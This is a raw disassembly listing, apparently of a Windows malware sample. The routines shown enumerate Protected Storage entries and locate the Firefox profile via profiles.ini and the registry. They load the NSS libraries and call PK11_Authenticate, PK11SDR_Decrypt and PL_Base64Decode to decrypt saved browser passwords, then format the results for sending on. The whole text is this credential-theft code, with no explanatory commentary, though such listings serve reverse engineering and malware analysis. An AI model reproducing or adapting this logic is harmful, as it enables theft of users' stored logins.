loc_416987:				; CODE XREF: sub_416208+7B4j
		lea	eax, [ebp-614h]
		push	eax
		push	dword ptr [ebp-1Ch]
		call	dword_42F0A8	; lstrcmpA
		test	eax, eax
		jnz	short loc_4169AE
		lea	eax, [ebp-414h]
		push	edi
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4169EF


loc_4169AE:				; CODE XREF: sub_416208+791j
		add	dword ptr [ebp-1Ch], 12Ch
		inc	esi
		cmp	esi, dword_45C1D0
		jl	short loc_416987


loc_4169BE:				; CODE XREF: sub_416208+776j
		lea	eax, [ebp-414h]
		push	edi
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416A33
		mov	eax, esi
		push	edi
		imul	eax, 12Ch
		mov	edi, offset dword_458738
		add	eax, edi
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_416A3E
		jmp	short loc_416A38
; ---------------------------------------------------------------------------


loc_4169EF:				; CODE XREF: sub_416208+7A4j
		imul	esi, 12Ch
		lea	eax, [ebp-414h]
		inc	dword ptr [ebp-14h]
		push	eax
		lea	eax, dword_458738[esi]
		push	eax
		lea	eax, dword_458800[esi]
		push	eax
		push	ebx
		cmp	dword ptr [ebp+18h], 0
		push	offset dword_43E974
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		jnz	short loc_416A2C
		call	sub_4105DF


loc_416A27:				; CODE XREF: sub_416208+829j
		add	esp, 20h
		jmp	short loc_416A75
; ---------------------------------------------------------------------------


loc_416A2C:				; CODE XREF: sub_416208+818j
		call	sub_41066C
		jmp	short loc_416A27
; ---------------------------------------------------------------------------


loc_416A33:				; CODE XREF: sub_416208+7C7j
		mov	edi, offset dword_458738


loc_416A38:				; CODE XREF: sub_416208+7E5j
		cmp	dword ptr [ebp+1Ch], 0
		jz	short loc_416A75


loc_416A3E:				; CODE XREF: sub_416208+7E3j
		imul	esi, 12Ch
		lea	eax, [ebp-414h]
		add	esi, edi
		push	eax
		inc	dword ptr [ebp-14h]
		push	esi
		push	ebx
		cmp	dword ptr [ebp+18h], 0
		push	offset dword_43E944
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		jnz	short loc_416A6D
		call	sub_4105DF
		jmp	short loc_416A72
; ---------------------------------------------------------------------------


loc_416A6D:				; CODE XREF: sub_416208+85Cj
		call	sub_41066C


loc_416A72:				; CODE XREF: sub_416208+863j
		add	esp, 1Ch


loc_416A75:				; CODE XREF: sub_416208+763j
					; sub_416208+822j ...
		mov	esi, 200h
		lea	eax, [ebp-614h]
		push	esi
		push	0
		push	eax
		call	sub_4221F0
		push	esi
		lea	eax, [ebp-414h]
		push	0
		push	eax
		call	sub_4221F0
		mov	edi, dword_42F04C
		add	esp, 18h
		jmp	loc_416479
; ---------------------------------------------------------------------------


loc_416AA6:				; CODE XREF: sub_416208+294j
		mov	eax, [ebp-28h]
		mov	byte ptr [ebp-4], 2
		cmp	eax, esi
		jz	loc_416411
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_416411
; ---------------------------------------------------------------------------


loc_416AC0:				; CODE XREF: sub_416208+22Cj
		mov	eax, [ebp-2Ch]
		mov	byte ptr [ebp-4], 1
		cmp	eax, esi
		jz	loc_416384
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_416384
; ---------------------------------------------------------------------------


loc_416ADA:				; CODE XREF: sub_416208+19Fj
		cmp	[ebp-14h], edi
		jnz	short loc_416B18
		cmp	[ebp+14h], edi
		mov	esi, offset aSNoPstoreEntri ; "%s No PStore entries found."
		jnz	short loc_416B03
		cmp	[ebp+18h], edi
		jnz	short loc_416B08
		cmp	[ebp+1Ch], edi
		jz	short loc_416B18
		push	ebx
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_4104F6
		add	esp, 10h


loc_416B03:				; CODE XREF: sub_416208+8DFj
		cmp	[ebp+18h], edi
		jz	short loc_416B18


loc_416B08:				; CODE XREF: sub_416208+8E4j
		push	ebx
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_410491
		add	esp, 10h


loc_416B18:				; CODE XREF: sub_416208+8D5j
					; sub_416208+8E9j ...
		mov	eax, [ebp-20h]
		and	byte ptr [ebp-4], 0
		cmp	eax, edi
		jz	short loc_416B29
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_416B29:				; CODE XREF: sub_416208+919j
		mov	eax, [ebp-10h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	eax, edi
		jz	short loc_416B3A
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_416B3A:				; CODE XREF: sub_416208+92Aj
		xor	eax, eax
		inc	eax


loc_416B3D:				; CODE XREF: sub_416208+172j
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_416208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B4C	proc near		; DATA XREF: sub_403B2C+EF0o

var_1240	= byte ptr -1240h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= dword	ptr -1BCh
var_1B8		= dword	ptr -1B8h
var_188		= dword	ptr -188h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1240h
		call	sub_4220C0
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 90h
		mov	esi, eax
		lea	edi, [ebp+var_240]
		rep movsd
		xor	edi, edi
		mov	dword ptr [eax+0BCh], 1
		cmp	[ebp+var_1B8], edi
		jz	short loc_416B9B
		push	1000h
		lea	eax, [ebp+var_1240]
		push	[ebp+var_1B8]
		push	eax
		call	sub_4222F0
		add	esp, 0Ch


loc_416B9B:				; CODE XREF: sub_416B4C+33j
		call	sub_416C0B
		mov	esi, eax
		call	sub_416E02
		push	eax
		call	sub_416F48
		test	eax, eax
		pop	ecx
		jz	short loc_416BF6
		push	offset byte_455AB8
		push	esi
		call	sub_4170D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416BF6
		cmp	[ebp+var_1B8], edi
		jz	short loc_416BD4
		lea	eax, [ebp+var_1240]
		push	eax
		jmp	short loc_416BD5
; ---------------------------------------------------------------------------


loc_416BD4:				; CODE XREF: sub_416B4C+7Dj
		push	edi


loc_416BD5:				; CODE XREF: sub_416B4C+86j
		push	[ebp+var_188]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_240]
		push	eax
		push	esi
		call	sub_417149
		add	esp, 14h
		call	sub_41740C


loc_416BF6:				; CODE XREF: sub_416B4C+64j
					; sub_416B4C+75j
		push	[ebp+var_1BC]
		call	sub_41C059
		pop	ecx
		push	edi
		call	dword_42F150	; ExitThread
		pop	edi
		pop	esi
sub_416B4C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C0B	proc near		; CODE XREF: sub_416B4C:loc_416B9Bp

var_64C		= dword	ptr -64Ch
var_63D		= byte ptr -63Dh
var_63C		= byte ptr -63Ch
var_23C		= byte ptr -23Ch
var_138		= byte ptr -138h
var_137		= byte ptr -137h
var_34		= byte ptr -34h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 63Ch
		mov	al, byte_44D6A4
		push	esi
		push	edi
		push	40h
		mov	[ebp+var_138], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_137]
		rep stosd
		stosw
		stosb
		push	8
		mov	esi, offset aApplicationDat ; "Application Data\\Mozilla\\Firefox"
		pop	ecx
		lea	edi, [ebp+var_34]
		rep movsd
		movsb
		lea	eax, [ebp+var_C]
		xor	edi, edi
		push	eax
		push	8
		mov	[ebp+var_10], 104h
		mov	[ebp+var_4], edi
		call	dword_42F040	; GetCurrentProcess
		push	eax
		call	dword_4542F8	; OpenProcessToken
		test	eax, eax
		jz	short loc_416CDC
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_C]
		call	dword_454334
		test	eax, eax
		jz	short loc_416CDC
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	esi, offset asc_43E8EC ; "\\"
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_423270
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_423270
		lea	eax, [ebp+var_23C]
		push	offset aProfiles_ini ; "\\profiles.ini"
		push	eax
		call	sub_423270
		lea	eax, [ebp+var_23C]
		push	offset word_433F2C
		push	eax
		call	sub_422F66
		add	esp, 20h
		cmp	eax, edi
		mov	[ebp+var_8], eax
		jnz	short loc_416CE3


loc_416CDC:				; CODE XREF: sub_416C0B+55j
					; sub_416C0B+6Dj
		xor	eax, eax
		jmp	loc_416DFE
; ---------------------------------------------------------------------------


loc_416CE3:				; CODE XREF: sub_416C0B+CFj
		push	ebx
		push	eax
		mov	ebx, 400h
		jmp	short loc_416D33
; ---------------------------------------------------------------------------


loc_416CEC:				; CODE XREF: sub_416C0B+13Aj
		lea	eax, [ebp+var_63C]
		push	eax
		call	sub_417776
		cmp	[ebp+var_4], 0
		pop	ecx
		lea	eax, [ebp+var_63C]
		jnz	short loc_416D1F
		push	offset aNameDefault ; "name=default"
		push	eax
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416D30
		mov	[ebp+var_4], 1
		jmp	short loc_416D30
; ---------------------------------------------------------------------------


loc_416D1F:				; CODE XREF: sub_416C0B+F8j
		push	offset aPath	; "path="
		push	eax
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_416D4C


loc_416D30:				; CODE XREF: sub_416C0B+109j
					; sub_416C0B+112j
		push	[ebp+var_8]


loc_416D33:				; CODE XREF: sub_416C0B+DFj
		lea	eax, [ebp+var_63C]
		push	ebx
		push	eax
		call	sub_42458A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_416CEC
		jmp	loc_416DF2
; ---------------------------------------------------------------------------


loc_416D4C:				; CODE XREF: sub_416C0B+123j
		lea	eax, [ebp+var_63C]
		push	offset asc_4381B4 ; "/"
		push	eax
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416D66
		mov	byte ptr [eax],	5Ch


loc_416D66:				; CODE XREF: sub_416C0B+156j
		lea	eax, [ebp+var_63C]
		push	eax
		call	sub_422120
		and	[ebp+eax+var_63D], 0
		lea	eax, [ebp+var_63C]
		mov	[esp+64Ch+var_64C], offset asc_438724 ;	"="
		push	eax
		call	sub_4235C0
		mov	ebx, eax
		push	ebx
		call	sub_422120
		mov	edi, eax
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_422120
		add	edi, eax
		lea	eax, [ebp+var_138]
		push	eax
		call	sub_422120
		lea	eax, [edi+eax+3]
		push	eax
		call	sub_422F79
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		jz	short loc_416DF2
		lea	eax, [ebp+var_138]
		push	eax
		push	edi
		call	dword_42F04C	; lstrcpyA
		push	esi
		push	edi
		call	sub_423270
		lea	eax, [ebp+var_34]
		push	eax
		push	edi
		call	sub_423270
		push	esi
		push	edi
		call	sub_423270
		inc	ebx
		push	ebx
		push	edi
		call	sub_423270
		add	esp, 20h


loc_416DF2:				; CODE XREF: sub_416C0B+13Cj
					; sub_416C0B+1B4j
		push	[ebp+var_8]
		call	sub_422B65
		pop	ecx
		mov	eax, edi
		pop	ebx


loc_416DFE:				; CODE XREF: sub_416C0B+D3j
		pop	edi
		pop	esi
		leave
		retn
sub_416C0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E02	proc near		; CODE XREF: sub_416B4C+56p

var_154		= byte ptr -154h
var_110		= byte ptr -110h
var_10F		= byte ptr -10Fh
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 154h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	ecx
		mov	esi, offset aSoftwareClient ; "SOFTWARE\\Clients\\StartMenuInternet\\fire"...
		lea	edi, [ebp+var_154]
		mov	al, byte_44D6A4
		rep movsd
		movsw
		push	40h
		mov	[ebp+var_110], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_10F]
		xor	ebx, ebx
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], 104h
		push	eax
		push	20019h
		lea	eax, [ebp+var_154]
		push	ebx
		push	eax
		push	80000002h
		call	dword_454384	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_416F41
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	ebx
		push	ebx
		push	[ebp+var_4]
		call	dword_4541F8	; RegQueryValueExA
		test	eax, eax
		jnz	loc_416F38
		cmp	[ebp+var_8], ebx
		jbe	loc_416F38
		cmp	[ebp+var_110], bl
		jz	loc_416F38
		push	[ebp+var_4]
		call	dword_4542E8	; RegCloseKey
		cmp	[ebp+var_110], 22h
		jnz	short loc_416EE4
		lea	eax, [ebp+var_110]
		xor	esi, esi
		push	eax
		call	sub_422120
		dec	eax
		pop	ecx
		jz	short loc_416EE4


loc_416EC3:				; CODE XREF: sub_416E02+E0j
		mov	al, [ebp+esi+var_10F]
		mov	[ebp+esi+var_110], al
		lea	eax, [ebp+var_110]
		push	eax
		inc	esi
		call	sub_422120
		dec	eax
		pop	ecx
		cmp	esi, eax
		jb	short loc_416EC3


loc_416EE4:				; CODE XREF: sub_416E02+ADj
					; sub_416E02+BFj
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_422120
		pop	ecx
		jmp	short loc_416EFD
; ---------------------------------------------------------------------------


loc_416EF3:				; CODE XREF: sub_416E02+FEj
		cmp	[ebp+eax+var_110], 5Ch
		jz	short loc_416F04


loc_416EFD:				; CODE XREF: sub_416E02+EFj
		dec	eax
		cmp	eax, ebx
		jg	short loc_416EF3
		jmp	short loc_416F0B
; ---------------------------------------------------------------------------


loc_416F04:				; CODE XREF: sub_416E02+F9j
		mov	[ebp+eax+var_110], bl


loc_416F0B:				; CODE XREF: sub_416E02+100j
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_422120
		inc	eax
		push	eax
		call	sub_422F79
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_416F34
		lea	eax, [ebp+var_110]
		push	eax
		push	esi
		call	dword_42F04C	; lstrcpyA


loc_416F34:				; CODE XREF: sub_416E02+122j
		mov	eax, esi
		jmp	short loc_416F43
; ---------------------------------------------------------------------------


loc_416F38:				; CODE XREF: sub_416E02+82j
					; sub_416E02+8Bj ...
		push	[ebp+var_4]
		call	dword_4542E8	; RegCloseKey


loc_416F41:				; CODE XREF: sub_416E02+60j
		xor	eax, eax


loc_416F43:				; CODE XREF: sub_416E02+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416E02	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F48	proc near		; CODE XREF: sub_416B4C+5Cp

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebp, ebp
		push	edi
		cmp	esi, ebp
		mov	dword_45C1DC, ebp
		mov	dword_45C1D8, ebp
		mov	edi, offset aPlc4_dll ;	"plc4.dll"
		mov	ebx, offset aNss3_dll ;	"nss3.dll"
		jz	short loc_416FC7
		push	offset aNspr4_dll ; "nspr4.dll"
		push	esi
		call	sub_417441
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416FBF
		push	edi
		push	esi
		call	sub_417441
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		mov	dword_45C1DC, eax
		jz	short loc_416FBF
		push	offset aPlds4_dll ; "plds4.dll"
		push	esi
		call	sub_417441
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416FBF
		push	offset aSoftokn3_dll ; "softokn3.dll"
		push	esi
		call	sub_417441
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416FBF
		push	ebx
		push	esi
		call	sub_417441
		pop	ecx
		mov	dword_45C1D8, eax
		pop	ecx


loc_416FBF:				; CODE XREF: sub_416F48+33j
					; sub_416F48+45j ...
		cmp	dword_45C1D8, ebp
		jnz	short loc_416FF6


loc_416FC7:				; CODE XREF: sub_416F48+22j
		push	ebx
		push	esi
		call	sub_417441
		push	edi
		push	esi
		mov	dword_45C1D8, eax
		call	sub_417441
		add	esp, 10h
		cmp	dword_45C1D8, ebp
		mov	dword_45C1DC, eax
		jz	loc_4170CE
		cmp	eax, ebp
		jz	loc_4170CE


loc_416FF6:				; CODE XREF: sub_416F48+7Dj
		mov	esi, dword_42F13C
		push	offset aNss_init ; "NSS_Init"
		push	dword_45C1D8
		call	esi ; dword_42F13C
		push	offset aNss_shutdown ; "NSS_Shutdown"
		mov	dword_455AB0, eax
		push	dword_45C1D8
		call	esi ; dword_42F13C
		push	offset aPk11_getintern ; "PK11_GetInternalKeySlot"
		mov	dword_455F24, eax
		push	dword_45C1D8
		call	esi ; dword_42F13C
		push	offset aPk11_freeslot ;	"PK11_FreeSlot"
		mov	dword_455F2C, eax
		push	dword_45C1D8
		call	esi ; dword_42F13C
		push	offset aPk11_authentic ; "PK11_Authenticate"
		mov	dword_455EC8, eax
		push	dword_45C1D8
		call	esi ; dword_42F13C
		push	offset aPk11sdr_decryp ; "PK11SDR_Decrypt"
		mov	dword_455F28, eax
		push	dword_45C1D8
		call	esi ; dword_42F13C
		push	offset aPk11_checkuser ; "PK11_CheckUserPassword"
		mov	dword_455ED0, eax
		push	dword_45C1D8
		call	esi ; dword_42F13C
		cmp	dword_455AB0, ebp
		mov	dword_455EC4, eax
		jz	short loc_4170C9
		cmp	dword_455F24, ebp
		jz	short loc_4170C9
		cmp	dword_455F2C, ebp
		jz	short loc_4170C9
		cmp	dword_455F28, ebp
		jz	short loc_4170C9
		cmp	dword_455ED0, ebp
		jz	short loc_4170C9
		cmp	dword_455EC8, ebp
		jz	short loc_4170C9
		cmp	eax, ebp
		jz	short loc_4170C9
		push	offset aPl_base64decod ; "PL_Base64Decode"
		push	dword_45C1DC
		call	esi ; dword_42F13C
		cmp	eax, ebp
		mov	dword_455EBC, eax
		jz	short loc_4170C9
		xor	eax, eax
		inc	eax
		jmp	short loc_4170D0
; ---------------------------------------------------------------------------


loc_4170C9:				; CODE XREF: sub_416F48+138j
					; sub_416F48+140j ...
		call	sub_41740C


loc_4170CE:				; CODE XREF: sub_416F48+A0j
					; sub_416F48+A8j
		xor	eax, eax


loc_4170D0:				; CODE XREF: sub_416F48+17Fj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_416F48	endp


; =============== S U B	R O U T	I N E =======================================



sub_4170D5	proc near		; CODE XREF: sub_416B4C+6Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		and	dword_45C1D4, 0
		push	ebx
		push	esi
		push	[esp+8+arg_0]
		call	dword_455AB0
		test	eax, eax
		pop	ecx
		jnz	short loc_41713A
		mov	ebx, [esp+8+arg_4]
		mov	dword_45C1D4, 1
		test	ebx, ebx
		mov	esi, offset byte_455AB8
		jz	short loc_417127
		push	ebx
		call	sub_422120
		cmp	eax, 3FFh
		pop	ecx
		ja	short loc_41713A
		push	ebx
		call	sub_422120
		test	eax, eax
		pop	ecx
		jbe	short loc_417127
		push	ebx
		push	esi
		call	dword_42F04C	; lstrcpyA
		jmp	short loc_41712E
; ---------------------------------------------------------------------------


loc_417127:				; CODE XREF: sub_4170D5+2Dj
					; sub_4170D5+46j
		and	byte_455AB8, 0


loc_41712E:				; CODE XREF: sub_4170D5+50j
		push	esi
		call	sub_4174BE
		cmp	eax, 1
		pop	ecx
		jz	short loc_417143


loc_41713A:				; CODE XREF: sub_4170D5+16j
					; sub_4170D5+3Bj
		call	sub_41740C
		xor	eax, eax
		jmp	short loc_417146
; ---------------------------------------------------------------------------


loc_417143:				; CODE XREF: sub_4170D5+63j
		xor	eax, eax
		inc	eax


loc_417146:				; CODE XREF: sub_4170D5+6Cj
		pop	esi
		pop	ebx
		retn
sub_4170D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417149	proc near		; CODE XREF: sub_416B4C+9Dp

var_5128	= byte ptr -5128h
var_2928	= byte ptr -2928h
var_2927	= byte ptr -2927h
var_128		= byte ptr -128h
var_28		= byte ptr -28h
var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 5128h
		call	sub_4220C0
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_43ECA0
		lea	edi, [ebp+var_18]
		push	[ebp+arg_0]
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_43EC90
		lea	edi, [ebp+var_28]
		movsd
		movsd
		and	[ebp+var_8], 0
		xor	ebx, ebx
		movsd
		inc	ebx
		movsw
		mov	[ebp+var_4], ebx
		call	sub_422120
		add	eax, 41h
		push	eax
		call	sub_422F79
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	loc_417407
		push	[ebp+arg_0]
		mov	edi, dword_42F04C
		push	esi
		call	edi ; dword_42F04C
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	sub_423270
		push	esi
		call	sub_41750C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4171E4
		push	[ebp+arg_0]
		push	esi
		call	edi ; dword_42F04C
		lea	eax, [ebp+var_28]
		push	eax
		push	esi
		call	sub_423270
		push	esi
		call	sub_41750C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_417407
		mov	[ebp+var_4], 2


loc_4171E4:				; CODE XREF: sub_417149+71j
		mov	esi, 2800h
		lea	eax, [ebp+var_2928]
		push	esi
		push	eax
		call	sub_417539
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417407
		cmp	[ebp+var_4], ebx
		jnz	short loc_417220
		lea	eax, [ebp+var_2928]
		push	offset off_43EC8C
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417407


loc_417220:				; CODE XREF: sub_417149+BAj
		cmp	[ebp+var_4], 2
		jnz	short loc_41725D
		lea	eax, [ebp+var_2928]
		push	offset dword_43EC88
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417407
		jmp	short loc_41725D
; ---------------------------------------------------------------------------


loc_417243:				; CODE XREF: sub_417149+125j
		lea	eax, [ebp+var_2928]
		push	eax
		call	sub_422120
		test	eax, eax
		pop	ecx
		jz	short loc_41725D
		cmp	[ebp+var_2928],	2Eh
		jz	short loc_417270


loc_41725D:				; CODE XREF: sub_417149+DBj
					; sub_417149+F8j ...
		lea	eax, [ebp+var_2928]
		push	esi
		push	eax
		call	sub_417539
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417243


loc_417270:				; CODE XREF: sub_417149+112j
		lea	eax, [ebp+var_2928]
		push	esi
		push	eax
		call	sub_417539
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417407
		mov	ebx, offset aIazcn0rzRw0xfk ; "iaZcN0Rz/rw0xfK1r.VuQwI."
		mov	edi, offset aSS_0 ; "%s	%s"


loc_417291:				; CODE XREF: sub_417149+2B8j
		lea	eax, [ebp+var_2928]
		push	eax
		lea	eax, [ebp+var_128]
		push	offset dword_43EC68
		push	eax
		call	sub_422063
		and	[ebp+arg_0], 0
		lea	eax, [ebp+var_2928]
		push	esi
		push	eax
		call	sub_417539
		add	esp, 14h
		jmp	loc_4173E8
; ---------------------------------------------------------------------------


loc_4172C2:				; CODE XREF: sub_417149+2A1j
		cmp	[ebp+var_2928],	2Eh
		jz	loc_4173F0
		cmp	[ebp+var_4], 2
		jnz	short loc_4172F9
		cmp	[ebp+arg_0], 2
		jnz	short loc_4172F9
		lea	eax, [ebp+var_2928]
		push	eax
		lea	eax, [ebp+var_128]
		push	eax
		call	sub_423270
		and	[ebp+arg_0], 0
		pop	ecx
		pop	ecx
		jmp	loc_4173D9
; ---------------------------------------------------------------------------


loc_4172F9:				; CODE XREF: sub_417149+18Aj
					; sub_417149+190j
		cmp	[ebp+var_2928],	2Ah
		jnz	short loc_41731D
		lea	eax, [ebp+var_128]
		push	offset dword_43EC58
		push	eax
		call	sub_422063
		pop	ecx
		lea	eax, [ebp+var_2927]
		pop	ecx
		jmp	short loc_417323
; ---------------------------------------------------------------------------


loc_41731D:				; CODE XREF: sub_417149+1B7j
		lea	eax, [ebp+var_2928]


loc_417323:				; CODE XREF: sub_417149+1D2j
		push	eax
		lea	eax, [ebp+var_5128]
		push	eax
		call	dword_42F04C	; lstrcpyA
		lea	eax, [ebp+var_2928]
		push	esi
		push	eax
		call	sub_417539
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4173F0
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_2928]
		push	eax
		call	sub_4175CF
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_417407
		lea	eax, [ebp+var_5128]
		push	eax
		lea	eax, [ebp+var_128]
		push	eax
		call	sub_423270
		lea	eax, [ebp+var_128]
		push	offset asc_43EC54 ; ": "
		push	eax
		call	sub_423270
		push	[ebp+var_8]
		lea	eax, [ebp+var_128]
		push	eax
		call	sub_423270
		add	esp, 18h
		lea	eax, [ebp+var_128]
		cmp	[ebp+arg_C], 0
		push	eax
		push	ebx
		push	edi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		jnz	short loc_4173B8
		call	sub_4105DF
		jmp	short loc_4173BD
; ---------------------------------------------------------------------------


loc_4173B8:				; CODE XREF: sub_417149+266j
		call	sub_41066C


loc_4173BD:				; CODE XREF: sub_417149+26Dj
		and	[ebp+var_128], 0
		add	esp, 18h
		push	1F4h
		call	dword_42F15C	; Sleep
		and	[ebp+var_8], 0
		inc	[ebp+arg_0]


loc_4173D9:				; CODE XREF: sub_417149+1ABj
		lea	eax, [ebp+var_2928]
		push	esi
		push	eax
		call	sub_417539
		pop	ecx
		pop	ecx


loc_4173E8:				; CODE XREF: sub_417149+174j
		test	eax, eax
		jnz	loc_4172C2


loc_4173F0:				; CODE XREF: sub_417149+180j
					; sub_417149+1F9j
		lea	eax, [ebp+var_2928]
		push	esi
		push	eax
		call	sub_417539
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417291


loc_417407:				; CODE XREF: sub_417149+4Aj
					; sub_417149+8Ej ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417149	endp


; =============== S U B	R O U T	I N E =======================================



sub_41740C	proc near		; CODE XREF: sub_416B4C+A5p
					; sub_416F48:loc_4170C9p ...
		cmp	dword_45C1D4, 0
		jz	short loc_417420
		mov	eax, dword_455F24
		test	eax, eax
		jz	short loc_417420
		call	eax ; dword_455F24


loc_417420:				; CODE XREF: sub_41740C+7j
					; sub_41740C+10j
		mov	eax, dword_45C1D8
		push	esi
		mov	esi, dword_42F0BC
		test	eax, eax
		jz	short loc_417433
		push	eax
		call	esi ; dword_42F0BC


loc_417433:				; CODE XREF: sub_41740C+22j
		mov	eax, dword_45C1DC
		test	eax, eax
		jz	short loc_41743F
		push	eax
		call	esi ; dword_42F0BC


loc_41743F:				; CODE XREF: sub_41740C+2Ej
		pop	esi
		retn
sub_41740C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417441	proc near		; CODE XREF: sub_416F48+2Ap
					; sub_416F48+37p ...

var_1000	= byte ptr -1000h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_4220C0
		mov	al, byte_44D6A4
		push	edi
		mov	[ebp+var_1000],	al
		mov	ecx, 3FFh
		xor	eax, eax
		lea	edi, [ebp+var_FFF]
		rep stosd
		cmp	[ebp+arg_0], 0
		stosw
		stosb
		pop	edi
		jnz	short loc_417477
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_417477:				; CODE XREF: sub_417441+30j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1000]
		push	eax
		call	dword_42F04C	; lstrcpyA
		lea	eax, [ebp+var_1000]
		push	offset asc_4381B4 ; "/"
		push	eax
		call	sub_423270
		push	[ebp+arg_4]
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_423270
		add	esp, 10h
		lea	eax, [ebp+var_1000]
		push	eax
		call	dword_42F138	; LoadLibraryA
		mov	dword_45C1E0, eax
		leave
		retn
sub_417441	endp


; =============== S U B	R O U T	I N E =======================================



sub_4174BE	proc near		; CODE XREF: sub_4170D5+5Ap

arg_0		= dword	ptr  4

		push	edi
		call	dword_455F2C
		mov	edi, eax
		test	edi, edi
		jnz	short loc_4174CD
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4174CD:				; CODE XREF: sub_4174BE+Bj
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	byte ptr [esi],	0
